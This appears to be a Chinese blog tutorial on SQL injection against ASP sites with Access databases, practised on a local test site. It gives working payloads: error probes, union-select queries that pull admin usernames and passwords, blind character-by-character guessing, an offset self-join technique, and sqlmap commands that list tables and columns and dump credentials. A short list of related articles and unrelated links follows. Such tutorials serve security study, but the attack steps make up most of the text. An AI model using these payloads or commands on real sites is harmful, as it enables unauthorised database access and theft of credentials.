access注入篇+sqlmap
access数据库的来历,我就不说了,因为我懒的记,就算记了感觉上也没大多用处,只要记得数据库的结构就行了。
先是表名,然后是列名,再者就是数据,我发个实际的图吧,大概就是这么一个结构。
下面,开始说下未过滤的SQL代码,说是SQL代码,其实应该说是asp代码,因为,很多access数据库都是和asp这个脚本语言相连的,关于asp这个脚本语言细节,想深入了解的可以百度下,毕竟搜索引擎也是一个很好的老师,很好的老师。
上图是asp的代码,ID就是一个变量,一般的网址结构,相信大家都知道的,网址又叫URL,他的组成是由网站地址,文件目录,还有文件名,文件里还有参数名和参数值。就像下面的这个。
网站地址:
0.1/0/wenjianjia/wenjianming.asp?id=1
网站地址:http://127.0.0.1/0/
文件目录:wenjianjia
文件名:wenjianming.asp
参数名:id
参数值:1
这个通过上图的未过滤的asp代码,还有下文对网址的解析,大家应该能看出来,变量在ID的这个值上面也就是参数值上。下面我们开始实施操作,理解原理。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 这个URL的ID处存在注入,它在执行是时候是这样的。
select * from product where id=1 这个就是执行的SQL语句,通过这一句来链接数据库与页面直接的数据。
--------------------------------------------------------------------------------------------------
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1' 我们在URL的后面的加了一个点,来进行测试,看它存不存在注入。
select * from product where id=1' 因为这个点也被带入插入查询了,肯定的,没有 1' 文件,所以报错了,那么就说明,存在注入,因为它这条语句带入查询了。
--------------------------------------------------------------------------------------------------
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and 1=1 通过正确and正确这个编程里的方法,来判断是否可以显错,正确和正确,返回的肯定正确。(这个如果想细了解的可以百度下编程的逻辑判断,自己学习下。)
select * from product where id=1 and 1=1 返回正确,肯定要正确嘛,不正确,那还杂注入了。
--------------------------------------------------------------------------------------------------
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and 1=2 通过正确and错误,肯定错误,这个编程里的逻辑判断,来看下是否显示错误,如果显示错误,那就表示,可以通过显错来注入。如果不显错,那只能看看用工具能不能来跑出账号密码了,手工注入的毕竟有局限性,而且麻烦。
select * from product where id=1 and 1=2 返回错误页面
--------------------------------------------------------------------------------------------------
下面就开始注入了,access数据库的SQL注入,一般都是属于暴力注入,没有固定的规律可言,就是说,你只能靠猜的方法来注入,而不是有固定的方法,肯定会出来密码。
access数据库注入可分为两种注入方法,一种为联合查询法,一种为逐字猜解法,都是属于SQL的语句。那先来说下联合查询法吧。
首先我们需要用 order by 这个语句来猜解列表数,看上面的数据库图,应该都能懂。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 order by 5 显示正常。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 order by 6 显示错误。
通过这个对比,我们能猜出这个数据库有5个列表数,那么就开始联合查询法了。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 union select 1,2,3,4,5 from admin
这句的代码的意思就是如果存在admin这个表名,则页面返回正常,如果没有,则返回错误,就像上面的判断是一个道理。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 union select 1,username,password,4,5 from admin
这句代码的的前提是页面爆出可替换的数字时才行,然后把你认为可能是列名的单词替换到数字的位置,下面我会贴上实际图的。这句代码,我列出的两个列名是常见的列名,如果不存在的话,就会直接报错的。如果存在,那么列名下的数据,就会被爆出来。
--------------------------------------------------------------------------------------------------
下面我开始说下逐字猜解法,因为有些情况下,如果网站不支持联合查询法,那就只能哟逐字猜解法了,这个方法很麻烦,所以一般如果到这个步骤的话,肯定要上工具的,要不太麻烦了。
查表名: and exists(select * from 表名)
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and exists(select * from admin)
查询该数据库是否存在admin这个表名,如果存在就返回正常,如果返回错误就是不存在。
--------------------------------------------------------------------------------------------------
查列名: and exists(select 列名 from admin)
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and exists(select username from admin)
查询该数据库下,admin这个表名下是否存在username这个列名,如果存在就返回正常,不存在就爆错。
--------------------------------------------------------------------------------------------------
查数据:1.确定长度 2.确定asc数据(asc编码) 这个一个格式。
and (select top 1 len(列名) from admin)=5
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and (select top 1 len(username) from admin)=5
判断 username 这个列表下的数据长度为多少,如果返回正确的话,就是说明 username 这个列表下的数据长度为5位数。如果不正确,就表示不是被,然后一个一个猜吧,一般来说超不过10位数,谁的网站账号起那么长啊,和密码快一个长度了。。。。
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and (select top 1 asc(mid(username,1,1))from admin)=97
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and (select top 1 asc(mid(username,2,1))from admin)=100
判断access数据库,admin表名下的username这个列表下的数据第一位数是否为asc编码里的97,也就是是否为a。如果是就猜第二位,把位数改成2,然后把后面的asc那个97改改,也就是一个一个的试,所以说很麻烦,一般都是工具跑的。
下面贴一个asc编码的图,自行参考。
--------------------------------------------------------------------------------------------------
对了,access还有一个偏移注入法,就是再已知表名的情况下,不知道列名,进行猜解。我本人对这个偏移注入原理不是很理解,所以也无法详细的说说,但是也得贴上代码,好歹大家都知道这个存在吧。
利用表自连偏移注入Access数据库
1.确定网站 字段数 order by 字段数
2.比如说 字段是47 表名是admin ((and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,.....,47 from admin)可以爆出敏感字符)
3.构造从1,*查询直到正确的爆出敏感字符的语句 (列子:and 1=2 union select 1,*错误就加1,2,3,4,5,6,7,8,*直到正确的爆出敏感字符)
4.例如是(and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin 到33,*正确的爆出敏感字符)
5.用47-33=14 *号就代表admin表名的14个字段
6.把admin表扩大一倍14x2=28 在用47-28=19 (例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin把19,后面的字段全部替换成*号就变成这样了and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin)
7.直接爆管理员帐号密码替换表名admin 语句(admin as a inner join admin as b on a.id=b.id)
替换后的就变成这样了 (例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from (admin as a inner join admin as b on a.id=b.id))
8.如果还爆不出来帐号密码那就在19,后面加a.id(例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,a.id,* from (admin as a inner join admin as b on a.id=b.id))
9.还爆不出来帐号密码就在 a.id后面加上b.id(例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id))
10.还爆不出来帐号密码就在b.id后面加c.id 加上c.id就相当于admin表的字段扩大了3倍 就是14x3=42 47-42=5 替换表名admin 语句((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)(例子:and 1=2 union select 1,2,3,4,5,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id))
上面是我从别的地方贴的,原地址,我已经找不见了,大概就是这么个偏移的思路,如果想更深入的了解,可以可以自己百度去了解。
--------------------------------------------------------------------------------------------------
好了 ,高潮的地方开始了,我要开始本地搭建一个asp+access的网站,网站源码是在网上搜的,当然源码里‘马’肯定不少,不过咱电脑又不是服务器,没事。开始了!!!
找见一个access注入点的页面。
判断是否存在注入。
and1=1 返回正常。
and 1=2 返回错误。
查询列表字段数,返回正常的是22个,说明存在22个列表字段。
当order by 到23的时候,报错了,说明只存在22个字段数。
判断是否存在admin这个表名,返回正常,说明存在这个表,但是没爆出数字,咋办?让语句出错被。
好了,我在ID参数后面加了个and 1=2 ,就是让语句不存在,好出现可替换的数字,下面就可以把爆出的数字进行替换为你认为可能是的列名。
因为我自己搭建的本地,所有我知道列名是什么,我就直接打上去了,然后列名下的数据就被替换出来了。
这就是联合查询法,很简单。但是实际环境中,肯定问题很多,很多,但是联合查询法的,原理就我上面说的呢个,基础就这个。
---------------------------------------------------------------------------------------------------------------
下面,开始演示下,逐字猜解法:
猜解是否存在admin这个表名,返回正常,那就说明存在了。
猜解admin这个表名下是否存在admin这个列名,返回正常,说明存在。
猜解admin这个表名下的admin列名的数据,总长度是否为5位数。页面返回正常,呢就是说5位数。
开始猜解admin这个表名下admin这个列名的下面的数据第一位是否asc编码里的A ,返回正常,说明是。
开始猜解admin这个表名下admin这个列名的下面的数据第二位是否asc编码里的B ,返回正常,说明是。对了,这里面的top 1 的意思是说,第一行,如果不加的话,要么爆错,要么还是报错。
以上就是逐字猜解法,是不是看着很简单啊,不麻烦 啊,一遍过啊,,,,这是在我源码知道的情况下,如果我不知道具体的数据,,那这个截图教程就会很曲折很曲折,当然,手工注入access也是 不常用的,毕竟效率才是第一位,都是上工具的。
----------------------------------------------------------------------------------------------------------------
这里,我就开始说下一个注入工具,“SQLmap”这个工具,注入工具很多,什么明小子啊,啊D啊,等等一堆注入工具,但是SQLmap这个工具,是我感 觉上很不错的注入工具,它是在python的环境下编写的,当然,我就是python入的门嘛,对关于python编的工具,总是抱有多一点的喜爱的。
SQLmap不光是一个注入工具,在整体的构架上,也算是编程构架思绪学习的一个好的样例,不扯了,说下这个工具吧,如果去官网上下载的话,需要再下载个 python的编程环境,毕竟是在这个环境下编写的嘛,当然你也可以下载个免环境版的sqlmap,这个我不细说了,网上一百度,一大堆。
下面开始正式开始操作,网址还是上面我自己搭建的网站,本地网站,安全,稳定,可靠,适合学习,操作,理解,还不被查水表,也不给他人带来麻烦,还能知道原理,练习技术,学会攻防,啦啦啦。不喷了,开始了。
打开工具后是这个样子的如果是python环境下的,可以按着我上面的操作一个一个输入,如果是免环境的,直接输入 -u "url地址" 然后,摁回车就是了。
回车后,直接跑出来数据库类型,因为我总是闲的没事,跑我自己的这个,所以很快就出来, 如果你们用的话,可能会出现一条又一条的询问句,要么就全部回车,要么,百度翻译一下句子,然后再选择。
因为这个得一句一句的指令操作的,所以你,摁下方向键的上键,就会还原到上一句的句子,然后你可以直接修改后面的代码。--tables 这个是表名的意思。
然后就跑出来access 数据库下,所有的表名。
操作依旧,摁上键,返回上一条命令,然后删除多余的,增改为--columns -T "amin" 再回车,就又开始跑了,--columns 是列名的意思,-T“admin”就是表名的意思。
看吧,这样就全部跑出来列名了,很方便,还简单。
操作依旧,--dump 在单词里是下载的意思,-C"admin,password" 这个就是列名admin列名和password列名,-T“admin”这个就不说了,你该知道的。还有在安全测试的时候,能不dump就不dump,除非你是授权的,警惕dump。
这两句,我忘了贴翻译, 第一句的意思,我不说了,我忘了,第二句的意识是说,是否该工具替你跑出md5加密值为多少,一般工具不好跑出来。
好了,账号密码都爆出来了了,是不是看着很简单?错,不简单,下面我来细说下,并总结下,全文,因为到这里了,差不多access注入篇就要结束了。
--------------------------------------------------------------------------------------------------------------
总结:
access的基础的基础算是总结完了,这个只是access数据库存在注入的漏洞的操作方法,同时还是最基础的,现实的环境比这个复杂的多的多,会出现各种问题,不是我上面用来测试的截图这么简单,这里只是汇总了一下,最基础的基础的,复杂 一部分,我就不在这个文章了讲了,等以后了有机会来了就说说,没机会了,你们就自己摸索的着找资料克服吧。感觉我写的这篇文章,算是基础里,access注入篇基础的基础讲的最细的了。自我感觉。
不赖,自己写了一遍,我对基础又加深的记忆了一遍。耶!
access注入篇+sqlmap的更多相关文章
- SQLMAP学习笔记1 access注入
SQLMAP学习笔记1 access注入 Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点: 完全支持MySQL.Oracle.PostgreSQL.Microsoft S ...
- mysql注入篇
博客这个东西真的很考验耐心,每写一篇笔记,都是在艰难的决定中施行的,毕竟谁都有懒惰的一面,就像这个,mysql注入篇,拖拖拖一直拖到现在才开始总结,因为这个实在是太多太杂了,细细的总结一篇太烧脑. 由 ...
- SQL注入之sqlmap进阶
上一篇我们对sqlmap进行简单的介绍,并介绍了一些·sqlmap的基础用法,这篇让我们来更深入的了解一下sqlmap,了解一下它的强大功能. 探测等级 参数为 --level 在sqlmap中一共有 ...
- [转载] 我的WafBypass之道(SQL注入篇)
我的WafBypass之道(SQL注入篇) Web安全 作者:先知技术社区 2016-11-23 7,566 [本文转自安全脉搏战略合作伙伴先知技术社区 原帖地址 安全脉搏编辑huan97 ...
- 初识sql注入及sqlmap
对于sql注入小白的我,上午在红黑联盟的网站上恶补了一下sql注入的基础知识,(走马观花)似乎明白sql注入是怎么一回事,也看了一些关于sqlmap的资料,再次记录一下吧 下面是关于sqlmap这个工 ...
- SQL注入工具sqlmap的注入过程记录
1.sqlmap的get注入 假设目标是 https://www.baidu.com/news.php?id=1&data=2 sqlmap语句 列库 sqlmap.py -u "h ...
- sql注入篇2
一.前言 上一篇:sql注入篇1 二.基于回显的注入类型判断 1.有结果的注入 例如下图: (sqlllab less-1)可以看到有正常结果返回,对于的利用方式就是老套路了,先order by查询出 ...
- SQL注入神器———Sqlmap!
Sqlmap 开源,python编写 支持5种SQL注入检测技术: 1.基于布尔的注入检测 2.基于时间的注入检测 3.基于错误的注入检测 4.基于UNION联合查询的检测 5.基于堆叠查询的检测 支 ...
- Java审计之SQL注入篇
Java审计之SQL注入篇 0x00 前言 本篇文章作为Java Web 审计的一个入门文,也是我的第一篇审计文,后面打算更新一个小系列,来记录一下我的审计学习的成长. 0x01 JDBC 注入分析 ...
随机推荐
- POJ 2240 Arbitrage (spfa判环)
Arbitrage Arbitrage is the use of discrepancies in currency exchange rates to transform one unit of ...
- 微信小程序常用API组件开发
关于小程序 张小龙定义小程序: 1.不需要下载安装即可使用: 2.用完即走,不用关心是否安装太多应用: 3.应用无处不在,随时可用. 特点: 1.适合业务逻辑简单的应用: 2,.适合低频应用: 3.适 ...
- 【Docker】docker常用命令
1.批量删除无tag镜像 docker images|grep none|awk '{print $3}'|xargs docker rmi 2.以特权模式运行容器 docker run --priv ...
- 饿了么 <el-input></el-input>输入框获取与失去焦点事件
//1.定义focus事,绑定属性 <el-input v-model="headerInput" @focus="onInputFocus" @blur ...
- tidb集群
tidb ansible部署 https://zhuanlan.zhihu.com/p/27308307?refer=newsql 网址:http://www.cnblogs.com/mowei/p/ ...
- 求最小生成树(暴力法,prim,prim的堆优化,kruskal)
求最小生成树(暴力法,prim,prim的堆优化,kruskal) 5 71 2 22 5 21 3 41 4 73 4 12 3 13 5 6 我们采用的是dfs的回溯暴力,所以对于如下图,只能搜索 ...
- python 的装饰器,
昨天去面试,发现了装饰器还是不太熟悉, 笔试题目是: 随意编写两个对输入参数做加减乘除运算的函数(需要有除法),写完后,用装饰器实现对函数出现除数为0的异常捕获,如果有异常,使用print打印日志. ...
- 自动化测试之CSS定位
之前做自动化测试一直用RF框架来操作,发现了明显与unittest的灵活性相差一点. 重新温习了unittest框架,其中这个框架,元素定位是难点,以前更多的使用JQUERY方式定位, 发现其实与CS ...
- ubuntu安装完成后需要做的事情
1.删除libreoffice libreoffice虽然是开源的,但是Java写出来的office执行效率实在不敢恭维,装完系统后果断删掉 [html] view plain copy sudo a ...
- Visual Studio Code 修改字体
下载安装想要更换的字体,这里以 Fira Code 字体为例. Fira Code 字体的下载地址:https://github.com/tonsky/FiraCode 下载解压后安装字体,windo ...